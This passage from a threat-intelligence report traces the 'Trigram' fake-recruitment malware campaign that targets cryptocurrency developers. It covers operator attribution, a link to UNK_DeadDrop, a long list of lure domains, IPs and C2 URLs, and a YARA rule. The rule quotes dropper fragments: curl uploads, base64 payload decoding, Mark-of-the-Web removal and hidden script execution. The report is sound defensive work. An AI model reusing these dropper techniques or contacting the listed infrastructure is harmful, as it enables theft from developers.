  • a second directory exposed on the same server (port 8090), which lists decoy domains.

Figure 13: Open directory on 193.160.32[.]10.

From the 55 Resend keys, approximately fifty carry a brand prefix. The others (THIRD, FOURTH, NEW, EIG, OCHO) appear to be numbered. The table below shows some of the established mappings:

Prefix
Probable Brand
Observed Domain(s)
Resend Key
Brevo Key
RIT
Ritual
buildwithritual[.]xyz
ritualtalents[.]xyz
✓
-
MINA
Mina
buildwithmina[.]ink
✓
✓
MET
Metis
joinmetis[.]site
✓
✓
MAN
Mantle
mantlehires[.]xyz
mantle2council[.]xyz
✓
-
LIN
Linea
lineacareers[.]xyz
inv2linea[.]xyz
✓
-
INI
Initia
inv2initia[.]ink
✓
✓
FUEL
Fuel
fuelcouncil[.]ink
✓
✓
BOY
Boyaa
inv2boyaa[.]site
✓
✓

Some domains also confirm the use of Brevo: their DNS zone contains a brevo-code TXT record, used to verify domain ownership with this French provider. Several domains share the same code, indicating they were registered from a single Brevo account:

Domains
Brevo Code
workwithapex[.]xyz
dymensioncareers[.]xyz
d7e1fad24bec3461127a5b0abb8477c0
buildwithespresso[.]online
joinmotus[.]site
b6ef333e88a4c32052b8da81bea56822
inv2boyaa[.]site
oslhires[.]ink
23fb87dba7987105af15305733fd19ef
buildwithmina[.]ink
verifearth[.]space
movementgigs[.]site
066500479fee42a43a18b969729c3a62
lineacareers[.]xyz
mantlehires[.]xyz
3268b8179366a1207ce673319bfc3074
joinmetis[.]site
fuelcouncil[.]ink
17b87eea9dd474a58be45a8a8547ddaa
inv2initia[.]ink
buildwithmercor[.]site
0026b5baa3b105bd06dcb8af608585be
ritualtalents[.]xyz
groundvy[.]xyz
8cea1f1ebd2992af6506ecdd6e1d3fd5

The scale of the campaign emerges from these mappings: approximately fifty brands, each with its own domains, visual assets, and sending accounts, all managed from a single platform. This level of organization reflects an industrialized operation, designed to be quickly rolled out to new brands and to withstand the takedown of individual domains.

Attribution

Super-Administrator of the Consoles: eros1030109@gmail[.]com

The administration consoles provide a TypeScript source file, superAdmin.ts, which grants full privileges to a hard-coded email address:

export const SUPER_ADMIN_EMAIL = "eros1030109@gmail.com";
export interface SuperAdminClaims {
  email?: string;
  is_super_admin?: boolean;
}
/** True when the logged-in user is the configured superAdmin. */
export function isSuperAdmin(
  user: SuperAdminClaims | null | undefined
): boolean {
  if (!user) return false;
  if (user.is_super_admin === true) return true;
  return (
    (user.email || "").trim().toLowerCase() === SUPER_ADMIN_EMAIL.toLowerCase()
  );
}

This address appears among the indicators published by Genians on 10 August 2026, in a report attributing to Kimsuky an operation that uses local LLMs and Git repositories as Command-and-Control (C2) infrastructure [3]. OctoProbe links it to the display name « Oura Kano », which is also shared with the twin address apollo1030109@gmail[.]com [4].

C2 Relay Administrator: 0xapp123

A Medium account using the alias @0xapp123 posted an article presenting past Web3 projects and inviting readers to contact him for professional opportunities [6]. The contact address given is the super-administrator's email address, eros1030109@gmail[.]com.

The same alias appears at the core of the C2 infrastructure: the config.json file of the up-indexings/tasks relay (see Layer #2) was uploaded by a Gitlab account named 0xapp123. The link between the two accounts relies only on the identity of this alias. However, this alias is associated on one side with the super-administrator's email address and on the other side with the management of the C2 relay for the same campaign.

We assess with high confidence that these accounts belong to the same operator.

Database Linked to the Relay Documented by SafeDep: silviattech1129

The configuration of rms-platform contains the connection address for a hosted MongoDB database, whose user name is silviattech1129_db_user. This identifier also appears in the history of the drop-indexings/tasks relay documented by SafeDep [2]: the author adress of a commit in that repository uses the same username, silviattech1129 (commit 6b84014). This exact match, on an uncommon identifier, directly ties the infection chain described by SafeDep to the control platform analyzed here.

We assess with high confidence that the compromise of antd-img-crop and the Trigram campaign are carried out by the same operators.

Developer: alexlopez-g

The configuration of the rms-platform references a backup repository for the platform's code: alexlopez-g/rms-platform (variable GH_BACKUP_REPO). The GitHub account alexlopez-g describes itself as a developer based in the state of Washington (hxxps://www.linkedin[.]com/in/alex-lopez-g).

Figure 14: alexlopez-g Github profile.

This account contributed to the repository Foxtopia-NFT/foxtopia-frontend, presented as an NFT application, with a commit signed by the address harper.danie95@gmail[.]com. Three elements link the repository the the campaign:

  • The malicious files. The src/fonts/vendor directory contains scripts whose names and functionality correspond to the droppers described in this article: install-guard-launcher.js, setup-env.cmd, setup-env.sh, setup-env-launcher.vbs, env-check.js.
  • The execution mechanism. The directory contains a .vscode/tasks.json file (which triggers these scripts when the project is opened). This is the method described by Proofpoint about UNK_DeadDrop: a planified task configured to run on the folder opening launches scripts placed in a vendor/ directory [1].
  • The use in fake recruitment approaches. On 26 June 2026, a designer warned the Contra platform community after receiving two nearly identical job offers, one from the address harper.danie95@gmail[.]com, the other from the domain dscufo[.]xyz. Both invited the victim to execute a command in her terminal [5].

Figure 15: https://contra.com/community/weG4gy2L-alert-avoid-fake-designer-job-offers.

The alexlopez-g account appears both as the manager of the platform's code and as the author of a compromised repository.

We assess with high confidence that it is controled by the operators of the campaign. It is also worth noting that Proofpoint observed many senders using the first name « Alex » in UNK_DeadDrop campaigns[1].

Recruiter: pichi_finance_hr

The platform is configured to control a Telegram account pichi_finance_hr. The name impersonates the Human-Resources department of Pichi Finance, a real cryptocurrency that is now inactive and that previously raised funds from Mantle Network, a brand also impersonated by the campaign. Our hypothesis is that Telegram is likely used as an approach channel, complementary to emails.

Summary of the Identities

Identifier
Plateforms
Role
Linkage Elements
Confidence Level
eros1030109@gmail[.]com
Gmail
Super-administrator of the consoles
superAdmin.ts ; IOC Genians ; Medium contact 
High
0xapp123
Medium, GitLab
C2 relay management
config.json ; eros1030109 adress
High
silviattech1129
MongoDB, GitLab
Databases ; C2 relay
MongoDB user ; Author of the drop-indexings
High
alexlopez-g/ harper.danie95@gmail[.]com
GitHub, Gmail
Development ; malicious repositories ; approaches
GH_BACKUP_REPO ; Foxtopia ; Contra alert
High
pichi_finance_hr
Telegram
Fake recruiter
TELEGRAM_USER variable
High

Link with Known-Activities: an Extent of UNK_DeadDrop Activity

Proofpoint has been tracking, since April 2026 under the name UNK_DeadDrop, a campaign highly likely to originate from North Korean. It targets cryptocurrency sector developers through job offer or code review request emails bringing them to trojanized repositories [1]. Trigram shares three types of elements with this cluster:

  • Infrastructure. The domain asteara[.]org and the IP address 170.205.29[.]83, attributed by Proofpoint to UNK_DeadDrop, host or serve the Trigram back office.
  • Tooling. Several indicators suggest that the final payload relies on the OverLord framework [2], for which Proofpoint describes a modified version in UNK_DeadDrop [1]. It removes a publisher extension, google-update-support, that it does not itself install [2]: this is the name of the extension that UNK_DeadDrop deploys to maintain persistence [1]. This framework will be covered in greater detail in a follow-up article.
  • TTPs. The Foxtopia repository replicates the tasks.json + vendor/ mechanism described by Proofpoint, as confirmed by these two screenshots of the repo.

Figure 16: https://github.com/Foxtopia-NFT/foxtopia-frontend/blob/main/.vscode/tasks.json.

 

Figure 17: https://github.com/Foxtopia-NFT/foxtopia-frontend/blob/main/.vscode/tasks.json.

Trigram distinguishes itself by expanding its vectors (ClickFix portals, conference invitations, compromise of a legitimate repository) and by a remotely fetched payload rather than being embedded in the repository. We assess with high confidence that Trigram is a continuation of UNK_DeadDrop activity, with an evolved modus operandi.

Conclusion

Key Takeaways

Trigram is a large-scale campaign that impersonates about 50 brands in the blockchain and AI sectors, to trick developers into executing an infostealer themselves. Three social engineering scenarios (recruitment, conference, and package tracking), a software supply-chain compromise, and trojanized code repositories all converge on the same infrastructure and the same payload.

Analysis of this infrastructure revealed the hidden mechanisms behind the attack: a malicious command-and-control (C2) dashboard. This system automates the targeting of users on GitHub, orchestrates massive phishing campaigns through four email providers, monitors the compromise of each victim in real time, and launders the stolen funds through cryptocurrency wallets. The findings, when cross-referenced with research by Proofpoint, SafeDep, and Genians, place this activity within the continuity of the North Korea-aligned threat cluster, UNK_DeadDrop.

A Threat That Is Becoming Industrialized

Four trends emerge from this analysis:

  • Industrialization. Social engineering no longer relies on individual interactions but on a campaign management platform comparable to a marketing tool: target segmentation, sending quotas, conversion metrics, and monitoring of decoys.
  • Vector multiplication. The same payload is distributed via decoy websites, trojanized code repositories, and the compromise of legitimate projects. Operators exploit developers' trust in their everyday tools.
  • Use of legitimate services. Email service providers and code platforms make detection more challenging.
  • Use of AI. Behavioral analysis services and conversational assistants lower the cost of the operation.

What's Next

The dropper examined earlier in this article subsequently deploys an infostealer and an agent. Their inner workings and capabilities will be detailed in a forthcoming article, including our findings on cryptocurrency exfiltration.

References

Appendices

Observed Techniques Mapping (MITRE ATT&CK)

Tableau MITRE ATT&CK.

IOCs

Type
Value
Confidence Level
Description and comments
Domain
geoveral[.]space
High
Lure
Domain
lumenorbit[.]space
High
Lure
Domain
terraverro[.]space
High
Lure
Domain
albedorb[.]space
High
Lure
Domain
veriearth[.]space
High
Lure
Domain
swathely[.]space
High
Lure
Domain
nadirva[.]space
High
Lure
Domain
groundvy[.]space
High
Lure
Domain
bullishtalents[.]xyz
High
Lure
Domain
ambercouncil[.]xyz
High
Lure
Domain
boytalents[.]xyz
High
Lure
Domain
joinnillion[.]xyz
High
Lure
Domain
seihires[.]xyz
High
Lure
Domain
inv2scroller[.]xyz
High
Lure
Domain
availcouncil[.]xyz
High
Lure
Domain
rdcouncil[.]xyz
High
Lure
Domain
oslcouncil[.]xyz
High
Lure
Domain
eignecloudhires[.]xyz
High
Lure
Domain
movementhires[.]xyz
High
Lure
Domain
inv2taiko[.]xyz
High
Lure
Domaine
joinearnest[.]xyz
High
Lure
Domain
lineahires[.]xyz
High
Lure
Domain
jointuring[.]xyz
High
Lure
Domain
pixelground[.]space
High
Lure
Domain
celestiatalents[.]xyz
High
Lure
Domain
mercortalents[.]xyz
High
Lure
Domain
joinsaga[.]xyz
High
Lure
Domain
buildwithaztec[.]xyz
High
Lure
Domain
joinfuel[.]xyz
High
Lure

Domain
hyperlanecouncil[.]xyz
High
Lure
Domain
kaicouncil[.]xyz
High
Lure
Domain
metiscouncil[.]xyz
High
Lure
Domain
mantle2council[.]xyz
High
Lure
Domain
buildwithalephzero[.]xyz
High
Lure
Domain
joinocho[.]xyz
High
Lure
Domain
inv2surge[.]xyz
High
Lure
Domain
minatalents[.]xyz
High
Lure
Domain
joinaxelar[.]xyz
High
Lure
Domain
initiatalents[.]xyz
High
Lure
Domain
bit2talents[.]xyz
High
Lure
Domain
workwithbera[.]xyz
High
Lure
Domain
dymensionhires[.]xyz
High
Lure
Domain
animocacouncil[.]xyz
High
Lure
Domain
joinwebflow[.]xyz
High
Lure
Domain
ritualhires[.]xyz
High
Lure
Domain
pantherbuilders[.]xyz
High
Lure
Domain
soniccouncil[.]xyz
High
Lure
Domain
inv2apexef[.]xyz
High
Lure
Domain
inv2motus[.]xyz
High
Lure
Domain
joinsuccinct[.]xyz
High
Lure
Domain
jointheladders[.]xyz
High
Lure
Domain
joindill[.]xyz
High
Lure
Domain
espresssotalents[.]xyz
High
Lure
Domain
inv2sonic[.]xyz
High
Lure
Domain
joinkaia[.]xyz
High
Lure
Domain
inv2animoca[.]xyz
High
Lure
Domain
inv2amber[.]xyz
High
Lure
Domain
inv2avail[.]xyz
High
Lure
Domain
eigencouncil[.]xyz
High
Lure

Domain
buildwithritual[.]xyz
High
Lure
Domain
buildwithrd[.]xyz
High
Lure
Domain
buildwithdymension[.]xyz
High
Lure
Domain
movementcouncil[.]xyz
High
Lure
Domain
workwithsei[.]xyz
High
Lure
Domain
workwithlinea[.]xyz
High
Lure
Domain
seicareers[.]site
High
Lure
Domain
workwithapex[.]xyz
High
Lure
Domain
dymensioncareers[.]xyz
High
Lure
Domain
buildwithespresso[.]online
High
Lure
Domain
berahires[.]online
High
Lure
Domain
axelarbuilders[.]ink
High
Lure
Domain
buildwithnillion[.]site
High
Lure
Domain
inv2boyaa[.]site
High
Lure
Domain
dymensioncouncil[.]site
High
Lure
Domain
apexbuilders[.]site
High
Lure
Domain
joinmotus[.]site
High
Lure
Domain
oslhires[.]ink
High
Lure
Domain
movementgigs[.]site
High
Lure
Domain
surgebuilders[.]ink
High
Lure
Domain
workwitheigen[.]xyz
High
Lure
Domain
inv2bullish[.]xyz
High
Lure
Domain
scrolltalents[.]online
High
Lure
Domain
sonichires[.]site
High
Lure
Domain
buildwithmina[.]ink
High
Lure
Domain
verifearth[.]space
High
Lure
Domain
albedorb[.]world
High
Lure
Domain
pixelground[.]xyz
High
Lure
Domain
terraverro[.]info
High
Lure
Domain
nadirva[.]info
High
Lure

Domain
geoveral[.]ink
High
Lure
Domain
groundvy[.]xyz
High
Lure
Domain
lineagigs[.]site
High
Lure
Domain
joinmantle[.]ink
High
Lure
Domain
inv2celestia[.]online
High
Lure
Domain
buildwithmercor[.]site
High
Lure
Domain
inv2initia[.]ink
High
Lure
Domain
fuelcouncil[.]ink
High
Lure
Domain
joinmetis[.]site
High
Lure
Domain
mantlehires[.]xyz
High
Lure
Domain
lineacareers[.]xyz
High
Lure
Domain
ritualtalents[.]xyz
High
Lure
Domain
icagllmbt[.]space
High
Lure
Domain
whaleradar[.]ink
High
Lure
Domain
d2stradeapp[.]ink
High
Lure
Domain
ievade[.]net
High
Lure
Domain
waybilltrack[.]xyz
High
Lure
Domain
freightviewer[.]ink
High
Lure
Domain
tracedhl[.]xyz
High
Lure
Domain
shipdhl[.]xyz
High
Lure
Domain
loadtrace[.]delivery
High
Lure
Domain
freightracker[.]ink
High
Lure
Domain
shiptrace[.]delivery
High
Lure
Domain
transitwatch[.]ink
High
Lure
Domain
loadwatchdhl[.]xyz
High
Lure
Domain
shiptransit[.]ink
High
Lure
Domain
loadwatcherdpd[.]ink
High
Lure
Domain
loadtracedpd[.]xyz
High
Lure
Domain
loadshipdpd[.]ink
High
Lure
Domain
loadwadpd[.]xyz
High
Lure

Domain
loadwatchdpd[.]ink
High
Lure
Domain
tracedpd[.]xyz
High
Lure
Domain
tracearamex[.]ink
High
Lure
Domain
trackaramex[.]xyz
High
Lure
Domain
parcelaramex[.]ink
High
Lure
Domain
parcelaramex[.]ink
High
Lure
Domain
tracearamex[.]ink
High
Lure
Domain
loadshiparamex[.]ink
High
Lure
Domain
loadwatcharamex[.]xyz
High
Lure
Domain
shiparamex[.]xyz
High
Lure
Domain
parcelaramex[.]xyz
High
Lure
Domain
scrollbuilders[.]xyz
High
Lure
Domain
kaiatalents[.]xyz
High
Lure
Domain
inv2metis[.]xyz
High
Lure
Domain
alephzerotalents[.]xyz
High
Lure
Domain
buildwithlinea[.]xyz
High
Lure
Domain
osltalents[.]xyz
High
Lure
Domain
inv2eigen[.]xyz
High
Lure
Domain
sagabuilders[.]xyz
High
Lure
Domain
dymensiontalents[.]xyz
High
Lure
Domain
sonictalent[.]xyz
High
Lure
Domain
joinhyperlane[.]xyz
High
Lure
Domain
sagatalents[.]xyz
High
Lure
Domain
seitalents[.]xyz
High
Lure
Domain
taikotalent[.]xyz
High
Lure
Domain
buildwithsei[.]xyz
High
Lure
Domain
alephzerobuilders[.]xyz
High
Lure
Domain
jointoamber[.]xyz
High
Lure
Domain
inv2dymension[.]xyz
High
Lure
Domain
ambertalents[.]xyz
High
Lure

Domain
animocabuilders[.]xyz
High
Lure
Domain
lineatalent[.]xyz
High
Lure
Domain
joinanimoca[.]xyz
High
Lure
Domain
jointoavail[.]xyz
High
Lure
Domain
buildiwitheigen[.]xyz
High
Lure
Domain
buildwithtaiko[.]xyz
High
Lure
Domain
inv2mantle[.]xyz
High
Lure
Domain
inv2nillion[.]xyz
High
Lure
Domain
nillionbuilders[.]xyz
High
Lure
Domain
turingbuilders[.]xyz
High
Lure
Domain
buildwithboyaa[.]xyz
High
Lure
Domain
succinctbuilders[.]xyz
High
Lure
Domain
seibuilders[.]xyz
High
Lure
Domain
inv2saga[.]xyz
High
Lure
Domain
joineigencloud[.]xyz
High
Lure
Domain
aztectalents[.]xyz
High
Lure
Domain
joinaztec[.]xyz
High
Lure
Domain
aztecbuilders[.]xyz
High
Lure
Domain
inv2bera[.]xyz
High
Lure
Domain
beratalents[.]xyz
High
Lure
Domain
movementtalents[.]xyz
High
Lure
Domain
axelartalents[.]xyz
High
Lure
Domain
ritualbuilders[.]xyz
High
Lure
Domain
rdtalents[.]xyz
High
Lure
Domain
dymensionbuilders[.]xyz
High
Lure
Domain
inv2osl[.]xyz
High
Lure
Domain
buildwithfuel[.]xyz
High
Lure
Domain
buildwithsonic[.]xyz
High
Lure
Domain
nilliontalents[.]xyz
High
Lure
Domain
buildwithbullish[.]xyz
High
Lure

Domain
movementbuilders[.]xyz
High
Lure
Domain
panthertalents[.]xyz
High
Lure
IP
170.205.31[.]182
High
-
IP
216.198.79[.]1
High
-
IP
198.54.127[.]82
High
-
IP
170.205.29[.]83
High
-
IP
185.147.159[.]187
High
-
IP
146.19.215[.]187
High
-
IP
170.205.30[.]27
High
-
IP
193.160.32[.]10
High
-
IP
193.160.32[.]188
High
-
IP
65.110.40[.]18
High
-
IP
170.205.28[.]251
High
-
IP
193.160.32[.]243
High
-
IP
208.84.100[.]64
High
-
IP
23.137.104[.]77
High
-
Domain
validator[.]dokamacto.xyz
High
Dashboard
Domain
online[.]dokamacto.xyz
High
Dashboard
Domain
dokamacto[.]xyz
High
Dashboard
Domain
dashboard[.]asteara.org
High
Dashboard
Domain
dashboard[.]gaganata.ink
High
Dashboard
Domain
almanac[.]3dscenebox.online
High
Dashboard
Domain
dashboard[.]cklomino.ink
High
Dashboard
Domain
gamsterb[.]ink
High
C2
Domain
api[.]cerysoi[.]ink
High
C2
Domain
api[.]fallgganata[.]ink
High
Backup C2
URL
hxxps://api.gamsterb.ink/guard-launcher-result
High
Reporting the dropper's execution results
URL
hxxps://api.gamsterb.ink/guard-install-log
High
Submission of Installation and Execution Logs
URL
hxxps://api.fallgamsterb.ink/guard-launcher-result
High
Reporting the dropper's execution results
URL
hxxps://api.fallgamsterb.ink/guard-install-log
High
Submission of Installation and Execution Logs

HASH
cd20f43f985f7df7ba3ad9b08e5bdbecc20aaa4d8f60dc09e8468bdd1b249fe6
High
A Linux dropper that allows the installation of a second payload
HASH
249626244f23928c75e6c382da62278ed1d4e012a0c0f62beafefc1e4d7c5baa
High
A Windows dropper that allows the installation of a second payload

TRIGRAM Infrastructure

Our analysts have mapped TRIGRAM's infrastructure using the osintracker application.

Here is a preview:

Osintracker Graph of Trigram's infrastructure.

Signatures

Yara Signatures

rule Dropper_DeepfakeGuard_NodeLoader_Generic
{
    meta:
        description = "DeepfakeGuard Dropper: Bash launchers for Linux/macOS and Batch for Windows featuring Base64 payloads to load a malicious JS file via Node.js"
        author      = "Stormshield"
        hashes      = "cd20f43f985f7df7ba3ad9b08e5bdbecc20aaa4d8f60dc09e8468bdd1b249fe6, 249626244f23928c75e6c382da62278ed1d4e012a0c0f62beafefc1e4d7c5baa"
        created     = "2026-11-06"
        modified    = "2026-11-06"
        score       = 100
        reference   = "Static analysis of verify_m and verify_w"
        tlp         = "TLP:CLEAR"
    strings:
        // -------------------
        // Telemetry artifacts
        // -------------------
        $ep1 = "guard-launcher-result" ascii
        $ep2 = "guard-install-log" ascii
        $ep3 = "guard-install-progress" ascii
        $hdr = "X-Guard-Platform" ascii
        // --------------- //
        // Kit identifiers
        // --------------- //
        $nm1 = "deepfake_guard.launcher.status" ascii
        $nm2 = "deepfake_guard_work" ascii
        $nm3 = "deepfake_guard.lock.d" ascii
        $nm4 = "deepfake_guard_run.sh" ascii
        $nm5 = "deepfake_guard.worker.lock" ascii
        $nm6 = "=== deepfake_guard install started ===" ascii
        // ----------------- //
        // Node.js artifacts
        // ----------------- //
        $js1 = "install_guard.js" ascii
        $js2 = "install_guard_alt.js" ascii
        $nd1 = "node-v20.18.1" ascii
        $nd2 = "GUARD_STORE_FALLBACK" ascii
        $nd3 = "GUARD_LOG_UPLOAD_URL" ascii
       // ------------------------------------------ //
        // Environment variables and execution states
        // ------------------------------------------ //
        $env1 = "NVDG_INSTALLER_DIR" ascii
        $env2 = "NVDG_LAUNCHER" ascii
        $env3 = "NVDG_DETACHED" ascii
        $env4 = "NVDG_HIDDEN" ascii
        $env5 = "NVDG_SELF" ascii
        $st1 = "payload_ready" ascii
        $st2 = "decode_failed" ascii
        $st3 = "payload_failed" ascii
        $st4 = "worker_timeout" ascii
        // ----------------------------------------------- //
        // Linux and macOS specific artifacts and commands
        // ----------------------------------------------- //
        $lx1 = "/var/tmp/.kdm." ascii
        $lx2 = "ANE compute driver sync" ascii
        $lx3 = "base64 -D 2>/dev/null || base64 -d" ascii
        $lx4 = "/var/tmp/upd_m" ascii
        $lx5 = "upda_m" ascii
        $lx6 = "nohup bash \"$0\"" ascii
        // --------------------------------------- //
        // Windows specific artifacts and commands
        // --------------------------------------- //
        $wn1 = "~kdm_" ascii
        $wn2 = "~nvdg_worker.vbs" ascii
        $wn3 = "NVIDIA kernel module staging helper" ascii
        $wn4 = ":Zone.Identifier" ascii nocase
        $wn5 = "Unblock-File" ascii nocase
        $wn6 = "upd_w.cmd" ascii
        $wn7 = "upda_w.cmd" ascii
        $wn8 = "set NVDG_HIDDEN=1" ascii
        $wn9 = "wscript //B" ascii nocase
        // ------------------------------------ //
        // cURL specific artifacts and commands
        // ------------------------------------ //
        $cu1 = "curl -sk -X POST -H \"Content-Type" ascii
        $cu2 = "curl -kfsSL --http1.1 -C -" ascii
        $cu3 = "--retry-all-errors" ascii
        // --------------------------------------- //
        // Base64 assembly and decoding structures
        // --------------------------------------- //
        // Base64 for "#!/bin/bash\n\nGUARD_DIR=\""
        $b64_lx = "IyEvYmluL2Jhc2gKCkdVQVJEX0RJUj0i" ascii
        // Base64 for "@echo off\r\n\r\nsetlocal EnableDelayedExpansion"
        $b64_wn = "QGVjaG8gb2ZmDQoNCnNldGxvY2FsIEVuYWJsZURlbGF5ZWRFeHBhbnNpb24N" ascii
        $b64_dg  = "deepfake_guard" base64
        $b64_gs  = "gamsterb.ink" base64
        $b64_ijs = "install_guard.js" base64
        // --------------------------------------- //
        // Base64 assembly and decoding structures
        // --------------------------------------- //
        $re_blob_lx = /\n_[0-9a-f]{6}="\$\{_[0-9a-f]{6}\}[A-Za-z0-9+\/=]{60,}"/
        $re_blob_wn = /\n>>"%_[0-9a-f]{6}%" echo [A-Za-z0-9+\/=]{40,}\r?\n/
        $dc_wn1 = "[Convert]::FromBase64String" ascii nocase
        $dc_wn2 = "WriteAllBytes" ascii nocase
        $dc_wn3 = "ReadAllText" ascii nocase
        // Base64 for "#!/bin/bash"
        $b64_sh  = "IyEvYmluL2Jhc2g" ascii
        // Base64 for "@echo off"
        $b64_bat = "QGVjaG8gb2Zm" ascii
    condition:
        filesize < 500KB and
        (
            // 1. TELEMETRY
            // Detects the loader's HTTP telemetry mechanism. Requires the platform identification header and at least two known telemetry endpoints.
            (
                $hdr and
                2 of ($ep*)
            )
            // 2. KIT IDENTIFIERS
            // Detects the loader using NVDG_ environment variables, Node.js scripts, and unique file naming conventions.
            or
            (
                2 of ($nm*) and
                1 of ($js*) and
                2 of ($env*)
            )
            // 3. PORTABLE NODE.JS
            // Detects the Node.js installation mechanism using a specific portable version, config scripts, and cURL commands.
            or
            (
                $nd1 and
                2 of ($nd2, $nd3, $js1, $js2) and
                1 of ($cu*)
            )
            // 4. LAUNCHER STATES
            // Detects launcher-worker communication via execution states, NVDG_ variables, Node.js scripts, and cURL commands.
            or
            (
                3 of ($st*) and
                2 of ($env*) and
                1 of ($js*) and
                1 of ($cu*)
            )
            // 5. LINUX / macOS LAUNCHER
            // Detects the Bash launcher using temporary files, Base64 decoding, background commands, and kit identifiers.
            or
            (
                2 of ($lx*) and
                1 of ($nm*, $js*, $env*)
            )
            // 6. WINDOWS LAUNCHER
            // Detects the Batch launcher using temporary files, worker scripts, Windows indicators, and kit identifiers.
            or
            (
                2 of ($wn*) and
                1 of ($nm*, $js*, $env*)
            )
            // 7. WINDOWS MOTW REMOVAL AND HIDDEN EXECUTION
            // Detects Windows Mark-of-the-Web removal and hidden worker execution via PowerShell, WScript, and NVDG_ variables.
            or
            (
                $wn4 and
                $wn5 and
                $wn9 and
                1 of ($env*)
            )
            // 8. EMBEDDED BASE64 PAYLOAD PREFIX
            // Detects embedded stage 2 payloads via Bash/Batch Base64 prefixes, execution states, NVDG_ variables, or cURL commands.
            or
            (
                1 of ($b64_lx, $b64_wn) and
                (
                    1 of ($st*) or
                    1 of ($env*) or
                    1 of ($cu*)
                )
            )
            // 9. EMBEDDED BASE64 CONTENT
            // Detects encoded payload strings using Base64 identifiers combined with execution states or NVDG_ variables.
            or
            (
                2 of ($b64_dg, $b64_gs, $b64_ijs) and
                1 of ($env*, $st*)
            )
            // 10. LINUX / macOS BASE64 ASSEMBLY
            // Detects Bash payload assembly via Base64 block concatenation, Linux/macOS decoding commands, and script prefixes.
            or
            (
                #re_blob_lx > 20 and
                $lx3 and
                $b64_sh
            )
            // 11. WINDOWS BASE64 ASSEMBLY
            // Detects Windows payload assembly via Base64 block writes, PowerShell decoding APIs, and Batch script prefixes.
            or
            (
                #re_blob_wn > 20 and
                all of ($dc_wn*) and
                $b64_bat
            )
        )
}

Share on

[juiz_sps buttons="facebook, twitter, linkedin, mail"]